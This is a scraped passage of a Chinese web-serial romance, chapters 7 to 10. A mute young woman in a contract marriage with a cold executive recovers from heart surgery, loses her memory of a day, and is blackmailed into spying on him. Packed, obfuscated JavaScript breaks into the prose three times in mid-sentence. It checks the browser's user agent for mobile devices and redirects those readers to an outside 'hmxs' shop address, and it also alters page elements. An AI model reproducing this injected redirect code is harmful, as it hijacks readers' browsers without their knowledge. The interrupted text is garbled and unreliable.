可随着时间推移,痛感越来越清晰,像有只无形的手在攥紧心脏。 或许是上次求救没人理会的阴影,或许是怕搞砸了得不到这笔兼职费,她咬着牙保持着摆尾的姿势,硬是靠着那股执念游上了岸。 可刚爬上去,眼前就一黑,直直倒了下去。 她听到有人喊自己,却因为说不出话,没法告诉对方自己的痛,就这样错失了最清醒的时间。 现在看来,她是获救了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620608|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可她怎么记得……自己好像看见了顾识弈?还咬了他? 诸愿越回忆越心惊。 她当时不会真的咬了顾识弈吧? 还有,这次既没来月经,也没吃推迟的药,怎么心脏还是会疼呢? “咕噜噜——”肚子的抗议声更响了。 她掀开被子,正要下床洗个水果填肚子,低头一看,床脚四周都没有鞋子。 “……” 诸愿只好赤脚下床。 地板的凉意顺着脚尖往上爬,她缩了缩脚,缓了缓才敢踩实。 她拿起苹果往卫生间走,眼角余光却瞥见阳台死角有人。 顾识弈背对着她站在那里,指节掐断台面上摆着的绿植叶子,他的声音冷得像数九寒天的冷风:“我已经领证了,吃饭是看在您的面子上,没有义务送她回家。” 听筒里传来顾老爷子中气十足的声音,隔着玻璃门都能听出火气:“我不承认,她就永远不可能是我顾家的儿媳妇!” “我和她不需要您的承认。”这句话像火星点燃了炸药桶,老爷子的怒骂声瞬间炸响。 “你十岁父母双亡,是谁养你这么大?给你权钱地位?没有我,就算你再有能耐也不可能成为顾氏的总裁!现在跟我说婚姻自由?你必须离婚,娶若清!你们门当户对,她还能帮你……” 顾识弈冷着脸听着,直到那头骂得筋疲力尽,才沉声道:“您养我,我敬着您。要是觉得我不配当顾氏总裁,大可以直接叫董事弹劾我。至于我为什么十岁就无父无母,想必您比我更清楚。爷爷,我不计较,不代表我不知道,至于离婚,绝无可能!” 他在老爷子新一轮怒火燃起前挂断电话,转身时,却对上一道惊慌的目光。 本该躺在床上休息的少女,此刻正站在推拉门边,病号服的袖子滑到肘弯,手捂住嘴,显然是听到了什么。 顾识弈目光落在她脚边,眼底瞬间沉得像深潭。 诸愿被他眼神的转变吓得一哆嗦,下意识就想逃。 她只是想洗个苹果,没想到会听见这些的。 可偷听总是不对的,尤其听得还是顾识弈被骂的话。 她一直以为顾识弈是高高在上的存在,能随意主宰他人,包括她。却没料到他也会有这样的困顿——被养育之恩裹挟,被家族压力逼迫,想来也挺窒息的。 当然,她现在更想逃跑。 她本来就怕顾识弈,这下更是慌得忘了自己刚做完手术,撒腿就想跑。 就怕迟一步会被失去尊严的顾识弈从阳台扔下去。 可没等她迈开步子,肩膀就被一只大手按住,力道不容挣脱。 顾识弈压抑着怒气的声音从头顶传来:“跑什么?” 诸愿回头,撞进他黑沉沉的眸光里,身体一抖,眼眶瞬间就湿了,泪珠不受控制地啪嗒掉下来。 顾识弈是什么人?她怎么可能在他手下活下来! 早在被绑着送往顾家时,她就知道这条路凶多吉少。 这些日子静姨的关心、林秘书的关照、甚至顾识弈先前的放过,或许都只是她死前的幻想罢了。 现在,幻想破灭了。 她也终于死到临头了! 8. 第8章 “谁准你光脚下地的?”男人的声音浸着冷意,硬邦邦地砸过来。 诸愿还没来得及反应,腋下就被一股力道攥住。 下一秒,她整个人像只被拎住后颈的猫,轻飘飘地“提溜”回病床上。 脚底刚沾过地板的凉意还没散尽,她愣愣地蜷起脚趾,脑子里像被塞进一团乱麻,所以—— 顾识弈凶她,是因为她光脚? 男人的目光落在她泪痕未干的脸上,喉结滚动了下,语气稍缓却仍带着紧绷:“为什么哭?” 诸愿心里咯噔一下。 总不能说自己是误会了什么吧? 她飞快地眨了眨眼,忽然有了主意,伸手指指自己光溜溜的脚丫,又比划着床脚四周:〈我没有鞋。〉 她摸摸肚子,举起手里的苹果,食指中指一前一后快速抖动:〈我饿了,想吃苹果,才下地的。〉 偷偷瞄了眼顾识弈的脸色,她继续比划:〈醒来没看见人,想自己弄点吃的,结果就被你凶了。〉 比划着,她故意抬手擦了一下眼睛,仿佛方才那通眼泪,是真的被骂哭的。 “是吗?”顾识弈挑眉,语气里的怀疑几乎要漫出来。 诸愿被问得噎了一下。 她哪会为这点事哭鼻子?可话已经“说”出口了,若是此刻否认,先前的误会不就露馅了? 她像只玩毛线球把自己缠住一团的猫,挣脱不开,也躲不掉,只能硬着头皮点头,眼神里带着点心虚的闪躲。 顾识弈盯着她看了半响,忽然没头没尾地丢下一句:“我不会听他的,放心。” 他?哪个他?诸愿正纳闷,男人已转身走向电视柜,弯腰取出一双米白色拖鞋,放在床边时,声音已恢复了惯常的清冷。 “去洗漱,我让人送吃的来。” 见他不再追问,诸愿如蒙大赦,连忙点头,溜进了卫生间。 挤牙膏时,瞥见一个开封的玻璃杯里插着支蓝色牙刷,只当是静姨的,没太在意。 等她洗漱出来,就见病床上已摆开满满一桌营养餐,绿油油的蔬菜配着少油少盐的鱼虾,看着清淡,却让饿了许久的她食指大动。 “都怪我。”静姨递给她一双筷子,红了眼,“看您昏迷了二十四小时,以为一时半会也不会醒,就出去打水,害得您光脚下床。” 诸愿笑着摇头,表示没事。 —— 吃饱喝足,术后的困倦感铺天盖地袭来,静姨替她掖好被角,她没一会儿就沉沉睡去。 再次睁眼时,夕阳正透过纱窗斜斜照进来,在地板上投下斑驳的光影。静姨坐在旁边切着花样果盘,见她醒了,笑着问:“要不要把床垫升起来些?” 诸愿点头,刚坐起身,就看见门口立着道熟悉的身影。 顾识弈背对着她,而门外站着的,竟是弗朗切斯科。 她高兴的正要招呼静姨让两人进来,却听见弗朗切斯科的声音,小声里带着几分郑重:“顾总,我保证今后绝不会再发生这样的事……” 诸愿动作猛地一顿。 是顾识弈知道了她兼职的事,让弗朗切斯科保证不再找她? 她脸上的笑意淡了下去,手指无意识地绞着身下被单,心里像被什么东西堵着。 偏这时,顾识弈和弗朗切斯科脸都转了过来。 “诸小姐。”弗朗切斯科率先笑着打招呼。 诸愿扯出个僵硬的笑。 等两人坐下,弗朗切斯科殷切地说:“听说您醒了,我立马就赶来了。那天的表演多亏了有你,客人们都夸你的美人鱼表演精彩极了!” “还有这个,”他掏出份文件递过来,“下季度新品拍摄的合同,我已经盖章了,你看看没问题的话就签字传送给我。” 诸愿听完,直接呆愣在床上。 不是不找她了吗? 她狐疑地看向顾识弈,对方正接过静姨手里的活,低头削着苹果,果皮连成一整条不断的弧线,动作利落。 察觉到她的目光,他切下块果肉递过来,眼神淡然,动作自然流畅。 直到弗朗切斯科离开,诸愿还捏着吃剩的苹果发愣。 下午静姨回家做饭,病房里只剩下他们两人。 诸愿攥着手机,瞄了眼替她看合同的顾识弈,在他翻页的间隙递了过去,屏幕上是她打的字:【您不反对我出去工作?】 顾识弈翻着合同没抬头:“你很缺钱?” 诸愿撇了撇嘴。 谁会嫌钱多?何况她本就没什么积蓄,不然也不会走到协议结婚这一步。 但这话像卖惨,没法说出口,她只能搬出老理由:【想实现自己的价值,赚钱养活自己。】 顾识弈这回抬头看了她一眼,语气淡淡:“随便你。” 诸愿眼睛一亮,正要笑着感谢,就听他补充道:“但下水表演,不行。” 【为什么?】她急忙打字,【是因为住院?还是觉得这工作不好?】 怎么跟哥哥一样,受一次伤,就不许她做了? 顾识弈合上合同,语气平淡却带着压迫感:“那你别工作了。” 诸愿差点被自己的口水呛到。 这人怎么还带反悔的? 她赶紧打字:【我保证不碰水下工作!】 “嗯。”他应得轻描淡写。 入夜,诸愿洗完澡出来,见顾识弈还在,静姨却不见了,有些意外。 正疑惑着,就见顾识弈收起电脑,从柜子里拿出换洗衣物走向卫生间。 诸愿目瞪口呆,白天看见的那支蓝色牙刷突然闪过脑海,她好像明白了什么。 她坐在床上,平板里的贪吃蛇玩得乱七八糟,十五分钟内撞死了二十来回。 等听到卫生间的水声停了,她赶紧扯过被子蒙住头装睡。 “没睡就起来吃药。” 冷不丁的声音在耳边响起,诸愿心跳漏了半拍,不知道顾识弈是怎么看出来她没睡着的。 她慢吞吞坐起来,看着顾识弈递过来的温水和药片,犹豫着打字:【为什么不是静姨陪床?】 “你想让静姨来?”顾识弈一眼看穿她的心思。 诸愿脸颊发烫。没等她辩解,顾识弈已道:“静姨年纪大了,白天往返医院够累了,你想让她再睡陪睡床?” 诸愿没话说了,乖乖吃完药躺下。 许是药效发作,她并没有怕到夜不能寐,反而很快就坠入了梦乡。 黑暗里,顾识弈在旁边的陪睡床躺下,听着少女平稳的呼吸声,睁眼注视天花板良久才阖上眼。 住院第五天,诸愿检查完回病房,看见桌上又是营养餐,瞬间没了胃口。 她戳着碗里的西兰花,打字跟静姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620609|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒娇:【明天能不能不吃这个了?医生刚刚检查说我恢复得挺好,说不定明天就能出院呢。】 静姨面露难色:“这是顾总吩咐的。” 诸愿瞬间泄气。眼珠一转,又打起别的主意:【那能不能吃点别的?比如上次我在顾识弈公司附近商圈喝得的布蕾脆脆奶芙,我想喝那个。】 静姨的脸色变了变,支支吾吾道:“我得问问顾总。” 诸愿一听要顾识弈同意,心里凉了半截。 她还是吃西兰花吧。 等晚上洗完澡出来,却听见静姨正在跟顾识弈商量:“太太想喝那家的奶茶呢,这两天她胃口一直不好,医生说恢复得差不多了,要不您下班给她带一杯?” 诸愿缩在门后,屏住呼吸,听见顾识弈应了声“嗯,我知道了”,瞬间眉开眼笑,差点没忍住蹦起来。 因为知道顾识弈答应了给她买奶茶,晚上躺下时,她第一次没觉得他睡在身边有多恐怖,反而带着点小小的期待,很快就安然入睡。 第二天诸愿醒来,顾识弈已经去上班了,只有静姨在旁盛粥。 诸愿想着今天就能喝到奶茶,心情大好,忍不住频频打字追问:【顾识弈今天中午会来吗?】、【他不是六点下班吗?怎么还没来?】 她刚打下“能不能直接点外卖”时,静姨打趣道:“太太今天很想念顾总啊,连称呼都变了。” 诸愿脸腾地红了,没敢说自己想的是顾识弈带的奶茶。 六点二十分,诸愿刚吃完没油水的营养餐,就见顾识弈走进来。 她激动地望着他,却发现他手上空空荡荡,又把目光投向跟在后面的林秘书。 林秘书把电脑包搁在茶几上,一回头发现太太正盯着自己,不由问:“太太,怎么了?” 诸愿看见顾识弈望过来,犹豫地打字:【你们没买奶茶吗?】 顾识弈看完屏幕,抬眸看她,语气平淡:“我有说今天买奶茶?” 什么? 诸愿眼底闪过一丝不可思议,攥着手机的指节微微发紧。 不是他说的“嗯,我知道了”吗? 她又想起自己是偷听到的,顾识弈确实没亲口跟她说过会买。 可转念一想,难道答应静姨的就不算了吗? 她看向静姨,寻求认同,却见静姨低头避开了她的目光。 一股说不清道不明的难受涌上来。她不是非喝奶茶不可,只是她已经听到他答应了,满怀期待,结果却被这样告知“没有”。 她有些无法接受这个落差。 诸愿用力地眨眼,想压下冒出的那点湿意,一股恶心感却突然翻上来,眼前也阵阵发黑。 她以为是吃腻了营养餐或是又术后困了,慢慢躺下身子,按住额头,却意外摸到一手汗。 更奇怪的是,胸口的紧缩感越来越强烈,隐隐出现下泳池的感觉。 诸愿这才察觉到不对劲,可没等她告知其他人,心脏突然传来一阵绞痛,尖锐得让她几乎喘不过气。 静姨离床最近,先瞧见诸愿的手死死攥着胸口,在床上蜷成小小的一团,肩头还微微发颤。 她愣了愣,刚要开口询问,视线扫过少女的脸,顿时惊得魂都飞了——那脸色惨白得竟连半分血色都寻不见! “太太!您这是怎么了?”她急声大喊,声音里满是慌乱。 9. 第9章 “医生说,你有先天性心脏病。”哥哥的声音在耳边响起,轻得像羽毛,却带着千斤重的分量。 为什么? 诸愿想问的话堵在喉咙里,化作无声地嘶吼:难道天生不能说话还不够吗?为什么连心脏都要和我作对? “阿愿别激动。”哥哥将她揽进怀里,双臂收紧,温热的掌心覆在她的后脑勺,轻轻抚摸,“没事的,不管阿愿变成什么样,哥哥都在。” …… “以后不能碰水下的工作,也不能去潜水,记住了吗?” 为什么?她茫然地望着哥哥,眼里盛满了不解。 “阿愿不记得了?” 记得……什么? “不记得也好。”哥哥叹了口气,里面像是藏着疲惫,“总之,不要碰水下的工作,也不要去潜水。” 不要碰水下的工作,也不要去潜水。 这句话像带了回声,在心底反复冲撞。一遍,两遍,三遍……当尾音消散时,诸愿缓缓睁开了眼。 熟悉的白色天花板映入眼帘,她眨了眨眼,睫毛上还挂着未干的湿意,凉丝丝地贴在眼睑上。 刚刚做梦了吗? 可梦里的内容,怎么一睁眼就全忘了? “醒了!太太醒了!”静姨惊喜的声音突然在耳边响起,带着抑制不住的雀跃。 诸愿转过头,看见顾识弈快步走过来。 他一边俯身按响床头的呼叫铃,一边垂眸看她,深邃的眼眸里盛着她读不懂的情绪。 “感觉怎么样?” 诸愿舔了舔干涩的嘴唇,喉咙里像塞了团干燥的棉花,又干又涩。 而且好奇怪,明明只是睡了一觉,静姨泛红的眼眶、顾识弈紧抿的唇线,都透着一股掩不住的紧张,仿佛她刚从什么生死边缘挣扎回来。 不过眼下她更在意的是渴,正想坐起身找点水喝,刚动了动胳膊就被顾识弈按住:“医生很快就来。” 诸愿只好乖乖躺回去,指尖无意识地抠着被单。 等医生检查完,说各项指数都正常时,她才悄悄松了口气,摸过旁边的手机,指尖在屏幕上敲打:【马医生,昨天检查时您说我恢复得不错,那今天能出院了吗?】 马医生愣了一下,眼里浮出几分困惑:“昨天?” 诸愿点头,指尖继续跳动:【就是下午五点三十分检查的时候。】 “哦——”医生恍然大悟,“诸小姐说的是前天下午吧。现在还不行,您昨天又做了场手术,得再观察几天。” 诸愿的眉头慢慢拧起来。 昨天做了手术?她怎么一点印象都没有。 诸愿眼底的疑惑太明显,医生捕捉到,柔声问:“诸小姐是哪里不舒服吗?” 【我不知道,】她指尖顿了顿,屏幕上的字显得有些犹豫,【我只记得昨天下午去做了检查,回来吃饭的时候……】 回忆到这里她顿住,吃饭的时候……她怎么都不记得发生了什么? 意识到什么,诸愿立即下拉屏幕看了眼日期,瞳孔骤然收缩——时间竟然已经过去了两天! 她赶紧删掉打好的字,重新输入,指尖带着不易察觉的颤抖:【我好像丢了昨天的记忆!】 病房里的空气瞬间凝固了,静姨手里的水杯晃了晃,水差点溅出来。顾识弈的脸色也沉了几分,下颌线绷得更紧。 医生又简单问了几个问题,当即安排了脑部拍片。 诸愿虽然满肚子疑问,却还是听话地去了。只是等做完检查,浓重的疲惫感再次席卷而来,眼皮重得像粘了胶水,连睁开都费力。 顾识弈朝静姨递了个眼神,静姨立刻会意。 “太太,我先推您回病房吧?” 诸愿巴不得躺下,连忙点头。 看着轮椅上少女平静的侧脸,仿佛之前的委屈和痛苦从未发生过,顾识弈的眸色深了深。 等拿到片子后,他径直走进马医生的办公室。 对方正对着电脑上的电子版片子凝神细看,听见动静,抬眼起立:“顾总。” 顾识弈“嗯”了一声,开门见山:“怎么样?” 马医生坐下去,推了推眼镜,斟酌着开口:“太太应该是暂时性失忆了。这种症状多是患者面对不愿接受的事情时,受到刺激后出现的应激反应,醒来后会自动屏蔽那些糟糕的记忆。从片子来看,她恐怕不是第一次发作了。” “暂时性失忆?那怎么才能恢复?” “顾总别太担心。”医生放缓了语气,“丢失记忆听起来不是好事,但本质上,这是身体的自我保护机制,对患者其实是有益的。尤其顾太太有心脏病,强行让她记起那些事,很可能引发情绪波动,反而危险。” “你的意思是,放任不管?” “可以选择在她身体和情绪都稳定的时候,再慢慢告知。”医生建议道,“这样能最大限度避免她情绪激动诱发心脏病。” 病房里,诸愿强撑着精神洗漱,又清醒了些,只是吃了几口东西就又困得沉沉睡了过去。 静姨收拾着餐盘,听见开门声回头,见顾识弈看她,放下手里的活儿走了出去。 门外,顾识弈的语气温和,话里却是不容置疑的命令:“太太前天晚饭时精神不济,医生建议先观察一晚,昨天早上医生来检查时,发现异常,紧急做了场手术。从昏迷到今早醒来,刚好两天,记住了吗?” 静姨在顾家待了这么多年,瞬间明白了这话的意思。她知道诸愿的心脏受不得刺激,更不想让太太再添痛苦,连忙点了点头。 她抬头看顾识弈,此前额角上的纯白纱布早已拆了,走廊的灯光落在他脸上,映出几分复杂的神色。 诸愿再次醒来时,听到静姨跟她解释为什么没有记忆,正是顾识弈教的那套话术。她点点头,没多想,更在意什么时候可以出院。 “医生说,观察三天没问题就可以出院了。”顾识弈。 诸愿再次点头,伸手拿过平板,点开贪吃蛇第111关,屏幕上的小蛇立刻扭动起来。 旁边的静姨松了口气,眼底的担忧却更深了。 她有心补偿,琢磨着回去再换些新花样的营养餐。 —— 【恭喜你通过贪吃蛇第211关~】 诸愿伸了个懒腰,身上已经换成了常服。今早检查完,马医生终于跟她说可以出院了,她现在就等顾识弈下班来接她回万宜。 正想着,病房门被推开,顾识弈和林秘书一前一后走了进来。 诸愿站了起来,目光落在顾识弈手里的奶茶,睫毛扑闪了几下。直到那杯奶茶塞进手里,指尖触到杯壁的凉意,她才确认不是幻觉。 顾识弈竟会给她买奶茶! 诸愿边走出病房边将吸管戳进奶茶盖里,猛吸了一大口,甜丝丝的味道在舌尖漫开,顺着喉咙滑下去,熨帖了心底的每一道褶皱。 她宣布,她是全世界最快乐的人! 只是她有些奇怪,顾识弈怎么知道自己最近很想喝这款奶茶? 她这么着急出院,就是觉得营养餐吃腻了,想早点出院吃点好吃的。没想到他居然这么懂她,提前给她送来了! 诸愿偷偷抬眼,男人西装笔挺,精英气迫人,手里却拎着杯十几块的奶茶,那模样竟有几分说不出的平和。 回到家,她看着餐桌上摆得满满一桌子全是自己爱吃的菜,忍不住吞了吞口水。 怎么大家好像突然都能读她的心似的?明明她什么也没说啊。 静姨端出最后一大碗汤,看着诸愿吃得眉眼弯弯的样子,前几天的愧疚感才彻底散去。 这时,她忽然想起下午回来做饭时,园艺师跟她说的话,便提了起来: “园艺师说,秋天快到了,院子里春夏开的花都凋零了,他研究了院子里的土壤、地形,想设计成一年四季不用移植,就能开不同品种花的样子,想问问顾总、太太的意见,有没有喜欢的花?” 诸愿立即打字:【我喜欢山茶花!】 静姨非常捧场:“院子里种山茶花肯定好看,太太是想要苗,还是要开好花苞的?我好跟园艺师傅说采买哪种。” 诸愿想到自己种幼苗的话,等茁壮成长开出花时,肯定很有成就感,正要打字,手指却突然顿住了。 明年秋冬山茶花开时,她就不在这里了呀,就算栽上了,开花时她也欣赏不到。 毕竟万宜的房子不是普通二代能买得起的,等她不再是“顾太太”,恐怕连万宜都进不来,更别说顾家庭院了。 静姨看她没应答,轻轻喊了她一声:“太太?” 诸愿回神,故作轻松地笑了笑,打字:【还是要带花苞的吧,今年就能看上花了。】说完低下头继续吃饭,不再发表意见。 顾识弈正在舀汤,感觉到对面的人从刚刚的兴致勃勃,突然变得低迷,像气球被扎了个洞,焉焉的。 他抬头看了一眼少女,她正小口扒着饭,长长的睫毛垂着,遮住了眼底的情绪。 第二天,诸愿一早就醒来了。 在医院的十几天里,顾识弈作息规律,也管着她早睡早起,害得她现在养成了早六晚十的生物钟,想睡懒觉都不行。 她下楼吃早餐,就见静姨正在院子里指导园艺师傅们种花。 让她惊讶的是,明明说了只要带花苞的山茶花,院子里却摆着一部分还是幼苗的山茶花。 静姨看见她在注视山茶花幼苗,笑着递过来只小铲子:“太太想自己种一棵吗?” 诸愿讶异,静姨又补了句:“是顾总特意交代的,说您或许会想试试。” 诸愿彻底愣住了,随即一股暖意涌上心头。 在医院的那些时日,她就发现了,顾识弈虽然嘴上不说,行动力却是极强的好心人。 哪怕是她这样一年的合作伙伴,不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620610|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么需求他也愿意满足。 —— 诸愿一上午都在种花,等完工后,她掏出手机打算拍给苏沐看看,又怕被发现这里不是诸宅,只敢隐秘地拍了一小部分山茶花发送。 诸愿:【当当当,我种的(骄傲.JPG)】 信息刚发出去,苏沐就轰炸过来好几条: 【不愧是你,可以去当园林设计师了(强.JPG)】 【你都不知道我这半个月上的什么牛马班。】 【以为升职了变管理层了可以坐着拿高薪了,结果!朝会、夕会不断,开完还得给底下人开会,我开会都开吐了!】 【我月绩都推迟了好几天呜呜!】 【靠,这输入法也是知道我牛马身份了,是月经不是月绩,真服了!】 诸愿虽然没上过几个月班,但隔着屏幕也感受到了苏沐的痛苦,仿佛能看到她抓狂的样子。 她安慰了苏沐几句,对方回道:【不行,我要买按摩椅,不能只痛苦,我也要享受!】 诸愿想了想,昨天她问林秘书这次住院的花销费用,对方却总是顾左右而言其他,后面干脆说要开会,便再没回信息。 她知道,林秘书大概是受了顾识弈的吩咐,不要她的钱。 协议里也说了,这一年会涵盖她的日常吃喝出行费用。 只是她觉得这次住院的医药费数额太大,虽说美人鱼馆老板垫付了一部分,但她也不好意思让顾识弈出剩下的。 最重要的是,他还无怨无悔的陪床了她半个月。 从医药费到山茶花,她本来就想感谢顾识弈,现在听到苏沐说买按摩椅,灵光一闪。 顾识弈是工作狂,当了这么多年领导,脊椎劳损肯定比苏沐还严重,不如就买个按摩椅送他,正好当感谢礼物。 诸愿立即跟苏沐要了按摩椅链接,加入购物车下单。 第二天晚上,顾识弈一进家门,就看见诸愿坐在客厅的白色毛绒地毯上,正对着一款按摩椅捣鼓,手里还拿着说明书。 他上下打量了一眼,问:“哪里不舒服?” 诸愿听出他误会了,立即打字:【不是,是我朋友说这款按摩椅超级好用舒服,我就买来试试。】 她想组装好再告诉顾识弈,这是送他的礼物,这样比较有惊喜。 不料,顾识弈冷不丁地问:“那天在商场的那个?” 诸愿没听懂,他补充:“朋友。” 诸愿这才听懂顾识弈说的是在商圈遇到那次。她点头,低头继续组装按摩椅,各种各样的零件被她码得整整齐齐。 顾识弈看了一眼那按摩椅,早在几年前就出了一体式插电按摩椅了,怎么还会有人推荐买这种需要组装的老古董,还觉得超级好用舒服? 他转身离开了。 诸愿为了尽快能组装好送给顾识弈,一吃完晚饭就坐在原地继续忙活。 期间顾识弈看了她一眼,没说话,径直上了楼。 诸愿一开始组装得很顺利,可越到后面越难,那些零件像是故意跟她作对,怎么都拼不到一起。 她扭了扭发酸地脖子和手腕,累得都有些发麻了。 “你是要这样一直装到天亮吗?” 诸愿抬头,顾识弈手里拿着个马克杯,不知何时已经无声地走到她面前、居高临下地看着她。 本来还觉得累的诸愿,被这句话重燃了斗志。 她不要被人看扁!立即打字:【我等会就弄好了,不会装到天亮的!】 顾识弈扫了一眼地上的零件,核心的几个步骤都没弄对,以她这动手能力,确实不会装到天亮。 因为要装到猴年马月去。 再看看诸愿,鼻尖沾了点灰,把自己搞得脏兮兮的,像进了灶膛的猫。 他越看越烦躁,耐着性子开口:“别装了,去洗澡,明天叫师傅直接上门组装。” 诸愿此时已经上头了,较劲了这么久,她就不信自己装不好。 她轻轻摇了摇头,固执的坐在地上继续跟那些零件搏斗。 又菜又爱玩。 顾识弈摁了摁眉心,不再废话,又转身离开了。 诸愿知道自己盲目组装下去可能也没结果,拿起手机让客服发一份解说组装的详细视频。 看完视频,她茅塞顿开,组装思路一下子清晰了。 她刚拿起扳手准备开干,身后就传来顾识弈终于压抑不住地声音,冷淡又带着威压:“去洗澡睡觉。” 诸愿吓了一跳,手里的扳手差点掉了。触及他耐心耗尽的神色,她知道,顾识弈是铁了心要她放弃。 而她也没有拒绝的资格。 她慢慢放下扳手,站起身。 昨天还觉得他平易近人,今天就又变回那个冷冰冰爱发号施令的顾总了。 诸愿觉得脸痛还委屈。 她只是想早点组装好,早点送给他而已。 10. 第10章 诸愿吸了吸鼻子,转身的瞬间却猛地顿住—— 顾识弈走到她刚才空出的地方,黑衬衫的袖口挽到手肘,露出线条利落的小臂。 他弯腰拾起地上的扳手,单膝抵地。 顾识弈捻起一颗螺丝,拇指推紧的动作干脆利落,侧脸轮廓被灯光浸得冷白,下颌线绷成一道锋利的弧度。 诸愿的心跳突然撞得飞快,手机屏幕被指尖敲得“哒哒”响:【你要帮我组装吗?】 顾识弈掀起眼皮扫过屏幕,声音淡得像水:“去洗澡。” 【我想学着装。】她飞快补了句,指尖还在发颤。 这次他抬了头,眉峰蹙起一道浅痕:“看看时间。” 诸愿低头,屏幕顶端的数字赫然显示午夜十二点零八分。 瞬间明白他语气里那点火气从何而来,她没再坚持,乖乖转身上楼。 走到楼梯口,脚步却不由自主地顿住,回头望了一眼。 那双在会议室里能让高管们噤声的眼睛,此刻正专注地盯着一堆塑料零件,有种奇异的反差感。 洗完澡,诸愿趿拉着拖鞋,哒哒哒跑下楼,刚到楼梯口,就看见顾识弈正往按摩椅上插电源。 她愣了一下,低头看时间,才过去二十分钟,她折腾了一整晚都没装好的按摩椅,他竟然已经搞定了? 诸愿几步跑过去,眼睛亮晶晶的,飞快在屏幕上打字:【你也太厉害了吧!会的多,速度还快!】 顾识弈用湿毛巾擦了擦手,语气没什么起伏:“过来。” 诸愿不明所以地走近,忽然有双手从腋下穿过,下一秒身体便腾空而起,脚上的拖鞋“啪嗒”掉在地上。 她下意识闭上眼攥住他的衬衫,鼻尖扑来一股松木的味道。 等睁开眼时,她已经陷进柔软的椅面,面前是顾识弈未退开的俊朗脸庞。身下,正是那张刚装好的按摩椅。 “怦怦——” 他按了启动键,背部立刻传来舒服的震动。 诸愿眯起眼,按摩的力度刚刚好,U型的椅身将她轻轻裹住,让人身心舒服。 她想起苏沐说过还有好几种模式,正想打字让他帮忙调一下,顾识弈却直接关了机。 “现在可以回房睡觉了吗。”虽是问句,用的却是陈述句的语气。 诸愿心里有些失落,但确实太晚了。她没再执拗,乖乖从按摩椅上下来,上楼。 顾识弈跟在她身后,看着少女走在前面的背影,连步伐里都透着轻快,终于不再是前几天那副委屈得心脏病发作的模样。 他冷硬的下颌线几不可察地柔和了一瞬,几乎让人捕捉不到。 第二天一早醒来,诸愿才猛地想起一件事:她本来是想赶紧装好按摩椅,早点送给顾识弈的,怎么自己一坐上去,就把这茬忘得一干二净了! 她赶紧下楼,却被静姨告知,顾识弈已经去公司了。 诸愿无奈,只好打算晚上再说。 她拍了张按摩椅的照片,走到餐厅,边吃早饭边发给苏沐。 【[图片]我试了,真的超级舒服!】 苏沐发来一条语音,背景里有些嘈杂:“那当然,也不看看是谁推荐的。” 诸愿连着发了好几条夸赞的话,两人聊了几个来回,直到苏沐回了句:“到公司了,不聊了”,她才发了个OK的表情包结束话题,放下手机专心喝粥。 “铃铃——”手机突然响了起来。 诸愿垂眸看清来电显示,想也没想就按掉了。 她拿起勺子,三两口喝完碗里的粥,纸巾擦了擦嘴便上楼,拿出手机查看信息。 陈秘书已经发来了三条: 【大小姐,上次看您和姑爷关系亲近,我才多等了些时日,可您这大半个月都不回我消息,是把我忘了?】 【我就是个打工的,老板快回来了,催着我要进度,您别让我为难啊。不然我被老板骂了,保不齐会做出什么没法挽回的事。】 【图片。】 诸愿点开缩略图的瞬间,指甲猛地掐进掌心。照片环境是哥哥诸贺的病房,威胁的意味再明显不过。 她死死盯着照片,指尖颤抖,字里行间却努力表现平静:【你想要什么进度?】 陈秘书回得很快:【顾总不是疼您吗?您趁他上班,潜进他书房,把计划书弄出来。】 【你太异想天开了,顾识弈这种身份的人,书房怎么可能不锁。】 【那您就等他开了书房的时候进去。】 【你是想让我被当场抓住,明天头条“诸氏之女深夜盗取顾氏机密被擒”?你要不问问你的老板同不同意?】 对面明显急了:【这也不行那也不行,你到底能做什么?别忘了你进顾家的任务!完不成的话,你觉得老板会放过你?】 诸愿咬得下唇发白:【我自然会完成,但不可能这么快。这样,我今晚先探探情况。】 陈秘书大概也没别的办法,只好回了句:【大小姐的动作最好快点。】 诸愿按黑屏幕,把脸深深埋进膝盖里。过了一会,她又打开手机,找到那张照片,两指放大。 哥哥的脸色苍白,两颊凹陷,曾经的俊朗荡然无存,倒像是个垂死之人。 一滴泪砸在屏幕上,把画面晕得模糊不清。她再次按黑屏幕,心里默念:哥哥,等我。 没时间沉浸在悲伤里,她立刻搜了大量影视作品里“卧底如何接近目标人”的视频教程。 她看了一上午,下午又对着镜子演练了好几遍,到了晚上吃饭时,脑子里还全是视频里教的那些“媚眼如丝”的动作。 “怎么了?不合胃口?”对面传来顾识弈的声音。 诸愿正琢磨着抛完媚眼该接什么动作,冷不丁被他的话拉回神。 